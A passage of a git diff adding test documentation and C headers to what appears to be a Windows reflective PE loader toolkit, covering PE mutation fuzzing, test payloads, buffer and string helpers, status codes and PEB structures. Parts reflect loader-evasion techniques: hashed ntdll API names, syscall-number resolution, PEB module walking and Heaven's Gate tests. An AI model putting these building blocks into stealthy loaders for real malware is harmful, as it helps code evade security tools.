+// ntdll.dll +// -------------------------------------------------------------------------- +#define SND_HASH_NTDLL_DLL 0x1B2C3D4EU // module +#define SND_HASH_NTALLOCATEVIRTUALMEMORY 0x5A6B7C8DU +#define SND_HASH_NTPROTECTVIRTUALMEMORY 0x9E0F1A2BU +... +``` diff --git a/docs/tests/README.md b/docs/tests/README.md new file mode 100644 index 0000000..7d3fc80 --- /dev/null +++ b/docs/tests/README.md @@ -0,0 +1,11 @@ +# Integration Tests + +This directory documents the automated testing infrastructure for validating the SindriKit reflective loading pipeline. + +## Table of Contents +- [test_runner.md](test_runner.md) + Documentation for the data-driven test runner, the specification matrix, and the test categories (functional, arch-mismatch, Heaven's Gate, Corkami fuzz). +- [pe_mutator.md](pe_mutator.md) + Documentation for the PE mutation engine, covering both benign edge-case mutations and breaking stressor mutations. +- [test_payloads.md](test_payloads.md) + Documentation for the test payload source files, detailing the purpose and validation logic of each fixture. diff --git a/docs/tests/pe_mutator.md b/docs/tests/pe_mutator.md new file mode 100644 index 0000000..5ed4f2d --- /dev/null +++ b/docs/tests/pe_mutator.md @@ -0,0 +1,67 @@ +# PE Mutation Engine (`tests/loader/pe_mutator.py`) + +**Location:** `tests/loader/pe_mutator.py` + +The PE mutation engine applies targeted structural modifications to valid PE files to produce variants that stress-test the reflective loader's parser and loading pipeline. Every mutation is designed to exercise a specific safety boundary or parsing assumption. + +## Mutation Categories + +Mutations are divided into two strict categories: + +### Benign Edge-Cases + +These produce PE files that are unusual or hyper-optimized but structurally valid — Windows can still load and run them. The reflective loader **must** adapt and succeed. + +| Mutation | Description | What It Tests | +|---|---|---| +| `unaligned_sections` | Forces `SectionAlignment` and `FileAlignment` to `0x200` | Loaders that hardcode `0x1000` page alignment assumptions | +| `strip_relocs_from_exe` | Strips the `.reloc` directory and sets `IMAGE_FILE_RELOCS_STRIPPED` | Loaders that aggressively demand relocations for EXEs | +| `garbage_dos_stub` | Overwrites the DOS stub (bytes 2–`e_lfanew`) with deterministic garbage | Parsers that read linearly through the DOS stub instead of seeking via `e_lfanew` | +| `append_overlay` | Appends 4 KB of junk data after the last section | Loaders that map beyond declared section boundaries | +| `null_section_names` | Zeroes out every section name string | Loaders that match section names unsafely or log via unchecked `printf` | + +### Breaking Stressors + +These produce structurally corrupted PE files. The parser **must** detect the violation and reject the input gracefully — **never crash**. + +| Mutation | Description | What It Tests | +|---|---|---| +| `corrupt_reloc_block_size` | Sets first reloc block's `SizeOfBlock` to `0xFFFFFFFF` | Unbounded `while` loops in relocation parsing | +| `massive_size_of_headers` | Sets `SizeOfHeaders` to `0xFFFFFFFF` | Unchecked `memcpy` using header-sourced sizes | +| `section_truncated_raw_data` | Inflates a section's `SizeOfRawData` beyond the physical file | Blind section mapping without file bounds checks | +| `section_integer_overflow` | Sets `VirtualSize` and `SizeOfRawData` to `0xFFFFFFFF` | Integer overflow in allocation arithmetic (`VA + ALIGN(VirtualSize)`) | +| `section_overlap_corruption` | Collapses all section file offsets to zero | File alignment normalization bugs | +| `corrupt_pe_signature` | Replaces `PE\0\0` with `0xDEADBEEF` | NT signature validation | +| `invalid_e_lfanew` | Points `e_lfanew` 1 MB past EOF | Offset bounds checking before NT headers access | +| `zero_size_of_image` | Sets `SizeOfImage` to 0 | Allocation size validation | +| `corrupt_import_rva` | Points import directory to `0xDEAD0000` | RVA bounds checking before import traversal | +| `corrupt_export_rva` | Points export directory to `0xDEAD0000` | RVA bounds checking before export parsing | +| `huge_sections_count` | Sets `NumberOfSections` to `0xFFFF` | Section table overflow protection | +| `unterminated_imports` | Overwrites the null-terminating import descriptor with `0xFF` | Import loop termination without boundary checks | +| `massive_export_count` | Sets `NumberOfFunctions` and `NumberOfNames` to `0xFFFFFFFF` | Export iteration bounds checking | +| `oob_entry_point` | Points `AddressOfEntryPoint` past `SizeOfImage` | Entry point RVA validation before execution transfer | + +## API + +### `Mutation` Dataclass + +| Field | Type | Description | +|---|---|---| +| `name` | `str` | Short string identifier (used in output filenames) | +| `description` | `str` | Human-readable label | +| `apply` | `Callable` | The mutation function (`(src, dst) -> None`) | +| `expect_loadable` | `bool` | `True` = loader must succeed; `False` = loader must reject gracefully | +| `applies_to` | `str` | `"both"`, `"exe"`, or `"dll"` | + +### `mutate_pe(src_path, mutation, output_dir) -> str` + +Applies the specified mutation to the source PE file and writes the mutated output to `output_dir`. Returns the path to the generated file. Raises `MutationError` on failure. + +## Dependency + +Requires the `pefile` Python package for structured PE modifications: +``` +pip install pefile +``` + +Raw byte-level mutations (`garbage_dos_stub`, `corrupt_pe_signature`, `invalid_e_lfanew`, `huge_sections_count`) operate directly on the byte buffer without `pefile`. diff --git a/docs/tests/test_payloads.md b/docs/tests/test_payloads.md new file mode 100644 index 0000000..44d080e --- /dev/null +++ b/docs/tests/test_payloads.md @@ -0,0 +1,69 @@ +# Test Payloads (`tests/loader/src/`) + +**Location:** `tests/loader/src/` + +These C source files are compiled into DLL and EXE payloads that the test runner feeds to the reflective loaders. Each payload is designed to validate a specific capability of the loading pipeline from basic FFI argument passing to TLS callback execution. + +All DLL payloads export functions that return sentinel values (`0xFEEDC0DE`, `0x1337C0DE`, etc.) to signal success or specific failure modes. The test runner validates these return values across architecture boundaries. + +--- + +## `test_dll.c` + +The primary DLL test payload. Exercises three critical loader capabilities: + +### Exports +- **`SayHello(s1, s2, n3)`**: Validates that the FFI bridge correctly passes three arguments. Returns `0xFEEDC0DE` if the arguments exactly match `("bonjour", "hello", 12)`, otherwise `0xDEADBEEF`. +- **`VerifyInit()`**: Validates two things simultaneously: + 1. **DllMain execution**: `DllMain(DLL_PROCESS_ATTACH)` writes `0xA77AC4ED` into a global variable. `VerifyInit` reads it back. + 2. **Relocation correctness**: The global lives in `.data`. If relocations were not applied, the pointer reference will read garbage. + + Returns `0xC001D00D` on success. + +--- + +## `test_dll_advanced.c` + +Exercises complex loader capabilities: multi-DLL imports, heap allocation, and dynamic loading. + +### Exports +- **`AdvancedExport(input_str)`**: Calls `GetSystemInfo` (kernel32), allocates heap memory via `malloc`, copies the input string, dynamically loads `user32.dll` via `LoadLibraryA`, and resolves `MessageBoxA` via `GetProcAddress`. Returns `0x1337C0DE` if all operations succeed with input `"advanced_test"`. +- **`VerifyImports()`**: Stress-tests IAT resolution by calling a diverse set of kernel32 APIs (`GetCurrentProcessId`, `GetCurrentThreadId`, `VirtualAlloc/Free`, `GetSystemTimeAsFileTime`). Also verifies `DllMain` was called exactly once. Returns `0xCA11AB1E` on success. + +--- + +## `test_dll_empty.c` + +A completely empty DLL with no export or custom imports beyond what the compiler forces for `DllMain`. Tests that the loader gracefully handles a missing Export Directory without crashing. The test runner expects the loader to report `"Error: Requested export was not found"`. + +--- + +## `test_dll_tls.c` + +Registers a TLS callback via the `.CRT$XLB` section using `#pragma section` and `__declspec(allocate)`. The callback writes a sentinel (`0x7153CA11`) into a global variable during `DLL_PROCESS_ATTACH`. + +### Exports +- **`VerifyTLS()`**: Reads the sentinel back. Returns `0x71500C01` if the TLS callback fired, `0x715FA110` if it did not. + +This validates that the reflective loader correctly parses `IMAGE_TLS_DIRECTORY` and iterates the callback array before invoking `DllMain`. + +--- + +## `test_exe.c` + +A basic EXE payload that validates relocations and imports: +1. Checks that a `.data` global (`g_reloc_canary = 0xCAFEBABE`) survived relocation. +2. Calls `GetCurrentProcessId()` through the resolved IAT. + +Exits with code `0x7A` (122) on success. + +--- + +## `test_exe_advanced.c` + +An advanced EXE payload that validates CRT initialization: +1. Performs `memcpy`, `strlen`, `strcmp` to verify the CRT was bootstrapped. +2. Calls `malloc` and `printf` to exercise heap and stdio. +3. Calls `GetCurrentProcessId` and `GetCurrentThreadId` for multi-API IAT verification. + +Exits with code `0x1337` on success. The test runner matches `"Successfully allocated and printed"` in stdout. diff --git a/docs/tests/test_runner.md b/docs/tests/test_runner.md new file mode 100644 index 0000000..02246a0 --- /dev/null +++ b/docs/tests/test_runner.md @@ -0,0 +1,62 @@ +# Test Runner (`tests/loader/test_runner.py`) + +**Location:** `tests/loader/test_runner.py` + +The test runner is a data-driven integration test harness that validates the reflective loading pipeline end-to-end. It auto-generates concrete test cases from compact specifications and executes them against both loader variants across both architectures. + +## Usage + +``` +python tests/loader/test_runner.py [--corkami] +``` + +| Flag | Description | +|---|---| +| *(none)* | Runs the core functional test matrix | +| `--corkami` | Enables the Corkami PE fuzz corpus tests (requires extracting `tests/fixtures/pe/corkami_fixtures.zip`) | + +## Architecture + +### The Spec → TestCase Expansion + +Test definitions are written as compact `Spec` objects that are loader- and architecture-agnostic. Each `Spec` declares: + +| Field | Description | +|---|---| +| `loaders` | Tuple of loader variants to test against (e.g., `("nowinapi", "winapi")`) | +| `payload` | Test payload name (e.g., `"test_dll"`, `"test_exe_advanced"`) | +| `export` | Optional DLL export name to invoke via the FFI bridge | +| `args` | Arguments passed to the export function | +| `expect_stdout` | Expected substring in the process stdout | +| `expect_retval` | Expected FFI return value (auto-formatted per architecture pointer width) | +| `expect_rc` | Expected process exit code | +| `expect_fail` | If `True`, the test expects the loader to reject the payload gracefully | + +At runtime, each `Spec` is expanded across all `(loader × architecture)` combinations. With 9 specs × 2 loaders × 2 architectures, the core matrix produces 36 test cases from a single declarative table. + +### Test Categories + +#### 1. Functional Tests (from SPECS) +Validates the end-to-end loading pipeline: +- **DLL loading with correct arguments** — verifies FFI bridge argument passing (`SayHello` with 3 args). +- **DLL loading with wrong arguments** — validates the payload's own input validation. +- **Missing export parameter** — tests the CLI error path. +- **Advanced DLL** — exercises `kernel32.dll` imports, heap allocations, dynamic `LoadLibraryA`, and multi-API IAT resolution. +- **Empty DLL** — verifies graceful handling of a DLL with no export directory. +- **DllMain + Relocations** — confirms `DLL_PROCESS_ATTACH` fired and global variable relocations were applied. +- **TLS callbacks** — confirms the loader parsed `IMAGE_TLS_DIRECTORY` and fired callbacks before `DllMain`. +- **EXE loading** — validates entry point execution and exit code capture. +- **Advanced EXE** — exercises CRT initialization, heap allocation, and `printf`. + +#### 2. Architecture Mismatch Tests +Feeds a 32-bit payload to a 64-bit loader (and vice versa) to verify the compatibility guard rejects it with a clear error message. + +#### 3. Heaven's Gate Tests +- Runs the 32-bit PoC and expects WoW64 detection success. +- Runs the 64-bit PoC and expects a non-WoW64 rejection message. + +#### 4. Corkami Fuzz Tests (opt-in via `--corkami`) +Iterates every `.exe` in `tests/fixtures/pe/corkami/` (a public corpus of exotic, standards-pushing PE files) and feeds each to the 64-bit `loader_winapi`. These tests verify that the parser does not crash on any real-world edge-case PE file. + +#### 5. PE Mutation Tests (via `pe_mutator.py`) +Generates structurally mutated PE variants at runtime and validates that the loader either successfully loads benign mutations or gracefully rejects breaking mutations without crashing. diff --git a/include/sindri.h b/include/sindri.h new file mode 100644 index 0000000..93b0b8e --- /dev/null +++ b/include/sindri.h @@ -0,0 +1,9 @@ +#ifndef SINDRI_H +#define SINDRI_H + +#include +#include +#include +#include + +#endif // SINDRI_H diff --git a/include/sindri/common.h b/include/sindri/common.h new file mode 100644 index 0000000..e5a1334 --- /dev/null +++ b/include/sindri/common.h @@ -0,0 +1,10 @@ +#ifndef SND_COMMON_H +#define SND_COMMON_H + +#include +#include +#include +#include +#include + +#endif diff --git a/include/sindri/common/buffer.h b/include/sindri/common/buffer.h new file mode 100644 index 0000000..ecf33a2 --- /dev/null +++ b/include/sindri/common/buffer.h @@ -0,0 +1,87 @@ +#ifndef SND_COMMON_BUFFER_H +#define SND_COMMON_BUFFER_H + +#include +#include + +SND_BEGIN_EXTERN_C + +// Forward declaration of the buffer structure +typedef struct snd_buffer_s snd_buffer_t; + +/** + * @brief Function signature for the custom buffer deallocator callback. + * @param buf Pointer to the buffer structure being freed. + */ +typedef void (*snd_free_cb)(snd_buffer_t *buf); + +/** + * @brief Represents a tracked, bounds-checked memory buffer. + */ +struct snd_buffer_s { + LPVOID data; + SIZE_T size; + snd_free_cb free_routine; +}; + +/** + * @brief Initializes a buffer structure with memory tracking context. + * @param buf The buffer structure to initialize. + * @param data Pointer to the memory block. + * @param size Size of the memory block. + * @param free_routine Optional callback used to safely deallocate this memory. + */ +void snd_buffer_init(snd_buffer_t *buf, LPVOID data, SIZE_T size, snd_free_cb free_routine); + +/** + * @brief Frees a tracked buffer using its assigned cleanup routine and zeroes + * the structure. + * @param buf Pointer to the buffer structure to free. + */ +void snd_buffer_free(snd_buffer_t *buf); + +/** + * @brief Checks if a given offset and size are within the bounds of a buffer. + * + * @param buf The buffer context to check against. + * @param offset The offset from the start of the buffer. + * @param size The size of the region to check. + * @return TRUE if within bounds, FALSE otherwise. + */ +SND_FORCE_INLINE BOOL snd_buffer_bounds_check(const snd_buffer_t *buf, SIZE_T offset, SIZE_T size) { + if (buf == NULL || buf->data == NULL || buf->size == 0) + return FALSE; + return snd_bounds_check(buf->size, offset, size); +} + +/** + * @brief Default routine for buffers allocated via HeapAlloc on the process + * heap. + */ +SND_FORCE_INLINE void snd_buffer_free_heap(snd_buffer_t *buf) { + if (buf && buf->data) { + HeapFree(GetProcessHeap(), 0, buf->data); + } +} + +/** + * @brief Default routine for buffers allocated via VirtualAlloc. + */ +SND_FORCE_INLINE void snd_buffer_free_virtual(snd_buffer_t *buf) { + if (buf && buf->data) { + VirtualFree(buf->data, 0, MEM_RELEASE); + } +} + +/** + * @brief Default routine for buffers allocated via MapViewOfFile. + */ +SND_FORCE_INLINE void snd_buffer_free_mapped(snd_buffer_t *buf) { + if (buf && buf->data) { + UnmapViewOfFile(buf->data); + } +} + +SND_END_EXTERN_C + +#endif // SND_COMMON_BUFFER_H diff --git a/include/sindri/common/disk.h b/include/sindri/common/disk.h new file mode 100644 index 0000000..4078496 --- /dev/null +++ b/include/sindri/common/disk.h @@ -0,0 +1,23 @@ +#ifndef SND_COMMON_DISK_H +#define SND_COMMON_DISK_H + +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Reads an entire file into a heap-allocated buffer. + * @param path The null-terminated string of the file path to read. + * @param out_buf Pointer to a zeroed snd_buffer_t. On success, data and size + * are populated. + * @return SND_OK on success, otherwise an I/O related error code. + * @note The caller is responsible for freeing the buffer using + * snd_buffer_free(out_buf). + */ +snd_status_t snd_buffer_load_from_disk(const char *path, snd_buffer_t *out_buf); + +SND_END_EXTERN_C + +#endif // SND_COMMON_DISK_H diff --git a/include/sindri/common/hash.h b/include/sindri/common/hash.h new file mode 100644 index 0000000..c68f783 --- /dev/null +++ b/include/sindri/common/hash.h @@ -0,0 +1,32 @@ +#ifndef SND_COMMON_HASH_H +#define SND_COMMON_HASH_H + +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Computes the configured hash of a standard ASCII string + * (Case-Sensitive). + * @note Use this for API names from the Export Directory. + */ +DWORD snd_hash(const char *str); + +/** + * @brief Computes the configured hash of a standard ASCII string, converting to + * lowercase. + * @note Use this for DLL names found in the PE Import Directory. + */ +DWORD snd_hash_lower(const char *str); + +/** + * @brief Computes the configured hash of a wide string, converting to lowercase + * (Case-Insensitive). + * @note Use this for finding DLL module names in the PEB. + */ +DWORD snd_hash_wide_lower(const wchar_t *str); + +SND_END_EXTERN_C + +#endif // SND_COMMON_HASH_H diff --git a/include/sindri/common/helpers.h b/include/sindri/common/helpers.h new file mode 100644 index 0000000..8878bb5 --- /dev/null +++ b/include/sindri/common/helpers.h @@ -0,0 +1,305 @@ +#ifndef SND_COMMON_HELPERS_H +#define SND_COMMON_HELPERS_H + +#include +#include + +/** + * @def SND_DEBUG + * @brief Global toggle for debug output. + * Set to 1 to enable logging macros, or 0 to compile them out entirely for + * Release builds. + */ +#ifndef SND_DEBUG +#define SND_DEBUG 0 +#endif + +/** + * @def SND_USE_PRINTF + * @brief Toggles the debug output destination. + * If 1, debug macros route to standard stdout via `printf`. + * If 0, debug macros route to the Windows kernel debugger via + * `OutputDebugStringA`. + */ +#ifndef SND_USE_PRINTF +#define SND_USE_PRINTF 0 +#endif + +/** + * @def SND_BEGIN_EXTERN_C + * @brief Opens an `extern "C"` linkage block for C++ compatibility. + */ +/** + * @def SND_END_EXTERN_C + * @brief Closes an `extern "C"` linkage block. + */ +#ifdef __cplusplus +#define SND_BEGIN_EXTERN_C extern "C" { +#define SND_END_EXTERN_C } +#else +#define SND_BEGIN_EXTERN_C +#define SND_END_EXTERN_C +#endif + +SND_BEGIN_EXTERN_C + +/** + * @def SND_FORCE_INLINE + * @brief Compiler-agnostic macro to force function inlining. + * Useful for embedding bounds checks and offset calculations directly into the + * caller's assembly. + */ +#if defined(_MSC_VER) +#define SND_FORCE_INLINE static __forceinline +#else +#define SND_FORCE_INLINE static inline __attribute__((always_inline)) +#endif + +#if SND_DEBUG +#include +#include + +#if SND_USE_PRINTF +/** + * @def SND_FDEBUG_PRINT + * @brief Formats and prints a debug message to a specific file stream (e.g., + * stderr, stdout). + */ +#define SND_FDEBUG_PRINT(stream, fmt, ...) \ + do { \ + FILE *_s = (stream) ? (FILE *)(stream) : stdout; \ + fprintf(_s, fmt, ##__VA_ARGS__); \ + fflush(_s); \ + } while (0) + +/** + * @def SND_DEBUG_PRINT + * @brief Formats and prints a debug message to standard output. + */ +#define SND_DEBUG_PRINT(fmt, ...) SND_FDEBUG_PRINT(stdout, fmt, ##__VA_ARGS__) + +#else +/** + * @def SND_DEBUG_MAX_LEN + * @brief Maximum string length for the internal debug formatting buffer. + */ +#define SND_DEBUG_MAX_LEN 1024 + +/** + * @brief Internal variadic wrapper to format strings for the Windows Debugger. + * @note This is completely stripped out of Release builds. + */ +static inline void snd_debug_print_internal(const char *fmt, ...) { + char buf[SND_DEBUG_MAX_LEN]; + va_list args; + + va_start(args, fmt); + // Safely format the string into our local buffer (requires CRT in debug mode) + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + + // Send the formatted string to the Windows kernel debug buffer + OutputDebugStringA(buf); +} + +// Map both macros to the new OutputDebugString wrapper +#define SND_FDEBUG_PRINT(stream, fmt, ...) snd_debug_print_internal(fmt, ##__VA_ARGS__) + +#define SND_DEBUG_PRINT(fmt, ...) snd_debug_print_internal(fmt, ##__VA_ARGS__) + +#endif // SND_USE_PRINTF + +#else +// When SND_DEBUG is 0, these macros compile to empty no-ops to strip strings +// from the binary. +#define SND_FDEBUG_PRINT(stream, fmt, ...) \ + do { \ + (void)(stream); \ + } while (0) + +#define SND_DEBUG_PRINT(fmt, ...) \ + do { \ + (void)0; \ + } while (0) +#endif // SND_DEBUG + +/** + * @def SND_PTR_ADD + * @brief Safely adds a byte offset to a base pointer by casting to a BYTE + * pointer first. + */ +#define SND_PTR_ADD(base, offset) ((BYTE *)(base) + (offset)) + +/** + * @brief Prints a combined hexadecimal and ASCII view of a byte buffer. + * @param dat Pointer to the first byte to print. + * @param len_dat Number of bytes to dump from @p dat. + * @param base_off Base address used to compute printed relative offsets. + * + * @note Output is gated by `SND_DEBUG` through debug print macros. + */ +void snd_dump_hex(const void *dat, size_t len_dat, ULONG_PTR base_off); + +/** + * @brief Checks if a given size and offset are within the bounds of a total + * size. + * @param total_size The total size of the buffer. + * @param offset The offset from the start. + * @param size The size of the region to check. + * @return TRUE if within bounds, FALSE otherwise. + */ +SND_FORCE_INLINE BOOL snd_bounds_check(SIZE_T total_size, SIZE_T offset, SIZE_T size) { + if (offset > total_size) + return FALSE; + if (size > total_size - offset) + return FALSE; + return TRUE; +} + +/** + * @brief Checks if a pointer and size are within the bounds of a base pointer + * and total size. + * @param base The base pointer. + * @param total_size The total size of the base buffer. + * @param ptr The target pointer to check. + * @param size The size of the region at the target pointer. + * @return TRUE if within bounds, FALSE otherwise. + */ +SND_FORCE_INLINE BOOL snd_ptr_bounds_check(const void *base, SIZE_T total_size, const void *ptr, SIZE_T size) { + if (base == NULL || ptr == NULL) + return FALSE; + ULONG_PTR ubase = (ULONG_PTR)base; + ULONG_PTR utarget = (ULONG_PTR)ptr; + if (utarget < ubase) + return FALSE; + SIZE_T offset = (SIZE_T)(utarget - ubase); + return snd_bounds_check(total_size, offset, size); +} + +/** + * @brief Bounded, CRT-independent memory zeroing routine. + * Replaces memset. + */ +SND_FORCE_INLINE void snd_memzero(void *dest, size_t size) { + if (!dest) + return; + volatile BYTE *p = (volatile BYTE *)dest; + for (size_t i = 0; i < size; i++) { + p[i] = 0; + } +} + +/** + * @brief Raw byte copy routine. + * Replaces memcpy. + */ +SND_FORCE_INLINE void snd_memcpy(void *dest, const void *src, size_t count) { + if (!dest || !src) + return; + BYTE *d = (BYTE *)dest; + const BYTE *s = (const BYTE *)src; + for (size_t i = 0; i < count; i++) { + d[i] = s[i]; + } +} + +/** + * @brief Bounded, CRT-independent string length evaluation. + * Replaces strnlen. + */ +SND_FORCE_INLINE size_t snd_strnlen(const char *str, size_t max_len) { + if (!str) + return 0; + size_t len = 0; + while (len < max_len && str[len] != '\0') { + len++; + } + return len; +} + +/** + * @brief Bounded, truncation-safe string copying. + * Replaces strncpy / strncpy_s. + */ +SND_FORCE_INLINE void snd_strncpy(char *dest, size_t dest_size, const char *src, size_t max_src_len) { + if (!dest || dest_size == 0 || !src) + return; + + size_t i = 0; + while (i < (dest_size - 1) && i < max_src_len && src[i] != '\0') { + dest[i] = src[i]; + i++; + } + dest[i] = '\0'; +} + +/** + * @brief Bounded, CRT-independent string concatenation. + * Replaces strcat / strcat_s. + */ +static inline void snd_strncat(char *dest, SIZE_T dest_size, const char *src, SIZE_T max_src_len) { + if (!dest || dest_size == 0 || !src) + return; + + SIZE_T dest_len = 0; + while (dest_len < dest_size && dest[dest_len] != '\0') { + dest_len++; + } + + if (dest_len >= dest_size - 1) { + dest[dest_size - 1] = '\0'; + return; + } + + SIZE_T i = 0; + while (i < max_src_len && src[i] != '\0' && (dest_len + i) < (dest_size - 1)) { + dest[dest_len + i] = src[i]; + i++; + } + + dest[dest_len + i] = '\0'; +} + +/** + * @brief Bounded, CRT-independent character search. + * Replaces strchr. + */ +static inline const char *snd_strnchr(const char *str, char c, SIZE_T max_len) { + if (!str) + return NULL; + + for (SIZE_T i = 0; i < max_len; i++) { + if (str[i] == c) { + return &str[i]; + } + if (str[i] == '\0') { + break; + } + } + + return NULL; +} + +/** + * @brief Bounded, CRT-independent string comparison. + * Replaces strcmp / strncmp. + */ +static inline int snd_strncmp(const char *s1, const char *s2, SIZE_T max_len) { + if (!s1 || !s2) + return (s1 == s2) ? 0 : ((s1 < s2) ? -1 : 1); + + for (SIZE_T i = 0; i < max_len; i++) { + if (s1[i] != s2[i]) { + return (int)((unsigned char)s1[i] - (unsigned char)s2[i]); + } + if (s1[i] == '\0') { + return 0; + } + } + + return 0; +} + +SND_END_EXTERN_C + +#endif // SND_COMMON_HELPERS_H diff --git a/include/sindri/common/status.h b/include/sindri/common/status.h new file mode 100644 index 0000000..6a0f3ca --- /dev/null +++ b/include/sindri/common/status.h @@ -0,0 +1,159 @@ +#ifndef SND_COMMON_STATUS_H +#define SND_COMMON_STATUS_H + +#include + +#if SND_DEBUG +#include +#include +#endif + +#include + +SND_BEGIN_EXTERN_C + +// Maximum length for error context strings (including null terminator) +#define SND_MAX_CTX_LEN 128 + +typedef enum _SND_STATUS_CODE { + SND_SUCCESS = 0, + SND_ERROR_GENERIC = -1, + SND_STATUS_INVALID_PARAMETER = -2, + SND_STATUS_INTEGER_OVERFLOW = -3, + SND_STATUS_UNSUPPORTED = -4, + SND_STATUS_NOT_INITIALIZED = -5, + + // Command-line argument errors + SND_STATUS_MISSING_COMMAND_LINE_ARGS = 0x100, + SND_STATUS_INVALID_COMMAND_LINE_ARG, + + // File / input errors + SND_STATUS_INVALID_PATH = 0x200, + SND_STATUS_FILE_CREATE_FAILED, + SND_STATUS_FILE_SIZE_QUERY_FAILED, + SND_STATUS_FILE_TOO_LARGE, + SND_STATUS_FILE_TOO_SMALL, + SND_STATUS_ALLOC_FAILED, + SND_STATUS_FILE_READ_FAILED, + + // PE parsing / validation errors + SND_STATUS_DOS_HEADER_TRUNCATED = 0x300, + SND_STATUS_INVALID_DOS_SIGNATURE, + SND_STATUS_NT_HEADERS_TRUNCATED, + SND_STATUS_INVALID_NT_SIGNATURE, + SND_STATUS_INVALID_NT_HEADER_OFFSET, + SND_STATUS_UNSUPPORTED_OPTIONAL_HEADER_MAGIC, + SND_STATUS_INVALID_SECTION_COUNT, + SND_STATUS_SECTION_TABLE_OVERFLOW, + SND_STATUS_INVALID_SECTION_TABLE, + SND_STATUS_ARCH_MISMATCH, + SND_STATUS_ENTRY_POINT_NOT_FOUND, + SND_STATUS_INVALID_IMPORT_TABLE_SIZE, + SND_STATUS_INVALID_FILE_OFFSET, + SND_STATUS_DIRECTORY_NOT_FOUND, + + // Reflective loading errors + SND_STATUS_SECTION_COPY_FAILED = 0x400, + SND_STATUS_RELOCATION_DIRECTORY_INVALID, + SND_STATUS_RELOCATION_PATCH_OUT_OF_RANGE, + SND_STATUS_RELOCATION_TYPE_UNSUPPORTED, + SND_STATUS_IMPORT_DIRECTORY_INVALID, + SND_STATUS_IMPORT_DLL_LOAD_FAILED, + SND_STATUS_IMPORT_THUNK_INVALID, + SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED, + SND_STATUS_PROTECTION_UPDATE_FAILED, + SND_STATUS_DLL_INITIALIZATION_FAILED, + SND_STATUS_EXPORT_DIRECTORY_INVALID, + SND_STATUS_EXPORT_NOT_FOUND, + SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED, + SND_STATUS_MISSING_DLL_EXPORT_NAME, + SND_STATUS_INVALID_STAGE_SEQUENCE, + SND_STATUS_CORRUPTED_STATE, + SND_FAILED_TO_EXECUTE, + + // Syscall resolution errors + SND_STATUS_SSN_NOT_FOUND, + SND_STATUS_SSN_BUFFER_TOO_SMALL, + + // PEB + SND_STATUS_PEB_MODULE_NOT_FOUND, +} snd_status_code_t; + +typedef struct _SND_STATUS { + snd_status_code_t code; + int os_error; +#if SND_DEBUG + const char *file; + int line; + char context[SND_MAX_CTX_LEN]; +#endif +} snd_status_t; + +#if SND_DEBUG + +static inline snd_status_t _snd_make_err(snd_status_code_t code, int os_error, const char *file, int line, + const char *fmt, ...) { + snd_status_t status = {code, os_error, file, line}; + + if (fmt != NULL) { + va_list args; + va_start(args, fmt); + vsnprintf(status.context, SND_MAX_CTX_LEN, fmt, args); + va_end(args); + } else { + status.context[0] = '\0'; + } + + return status; +} + +static inline snd_status_t _snd_make_success() { + snd_status_t status = {SND_SUCCESS, 0, NULL, 0, {0}}; + + return status; +} + +#define SND_OK _snd_make_success() +#define SND_ERR(c) _snd_make_err(c, 0, __FILE__, __LINE__, NULL) +#define SND_ERR_CTX(c, ...) _snd_make_err(c, 0, __FILE__, __LINE__, __VA_ARGS__) +#define SND_ERR_W32(code) _snd_make_err(code, GetLastError(), __FILE__, __LINE__, NULL) +#define SND_ERR_W32_CTX(code, ...) _snd_make_err(code, GetLastError(), __FILE__, __LINE__, __VA_ARGS__) + +#else + +static inline snd_status_t _snd_make_success() { + snd_status_t status = {SND_SUCCESS, 0}; + + return status; +} + +static inline snd_status_t _snd_make_err(snd_status_code_t code, int os_error) { + snd_status_t status = {code, os_error}; + + return status; +} + +#define SND_OK _snd_make_success() +#define SND_ERR(code) _snd_make_err(code, 0) +#define SND_ERR_CTX(code, ...) _snd_make_err(code, 0) +#define SND_ERR_W32(code) _snd_make_err(code, GetLastError()) +#define SND_ERR_W32_CTX(code, ...) _snd_make_err(code, GetLastError()) + +#endif + +/** + * @brief Converts a status structure into a human-readable string. + * @param status The status object to evaluate. + * @return Null-terminated string describing the status code. + */ +const char *snd_status_to_string(snd_status_t status); + +/** + * @brief Prints a status structure, including context if available, to stderr. + * @param status The status object to print. + */ +void snd_status_print(snd_status_t status); + +SND_END_EXTERN_C + +#endif // SND_COMMON_STATUS_H diff --git a/include/sindri/internal/nt_defs.h b/include/sindri/internal/nt_defs.h new file mode 100644 index 0000000..f6a98fe --- /dev/null +++ b/include/sindri/internal/nt_defs.h @@ -0,0 +1,92 @@ +#ifndef SND_INTERNAL_NT_DEFS_H +#define SND_INTERNAL_NT_DEFS_H +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Macro to check if an NTSTATUS indicates success. + */ +#ifndef NT_SUCCESS +#define NT_SUCCESS(s) (((NTSTATUS)(s)) >= 0) +#endif + +#define SND_OBJ_CASE_INSENSITIVE 0x00000040L +#define SND_PAGE_SIZE ((SIZE_T)0x1000) + +/** + * @brief Represents a Unicode string in the NT environment. + */ +typedef struct _SND_UNICODE_STRING { + USHORT Length; // In BYTES + USHORT MaximumLength; // In BYTES + PWSTR Buffer; +} SND_UNICODE_STRING, *PSND_UNICODE_STRING; + +/** + * @brief PEB loader data structure. + */ +typedef struct _SND_PEB_LDR_DATA { + ULONG Length; + BYTE Reserved[8]; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} SND_PEB_LDR_DATA, *PSND_PEB_LDR_DATA; + +/** + * @brief Process Environment Block (PEB) definition. + */ +typedef struct _SND_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PSND_PEB_LDR_DATA Ldr; +} SND_PEB, *PSND_PEB; + +/** + * @brief Loader data table entry for module tracking. + */ +typedef struct _SND_LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + SND_UNICODE_STRING FullDllName; + SND_UNICODE_STRING BaseDllName; +} SND_LDR_DATA_TABLE_ENTRY, *PSND_LDR_DATA_TABLE_ENTRY; + +/** + * @brief Type definition for LdrLoadDll function (ntdll native loader, no + * kernel32 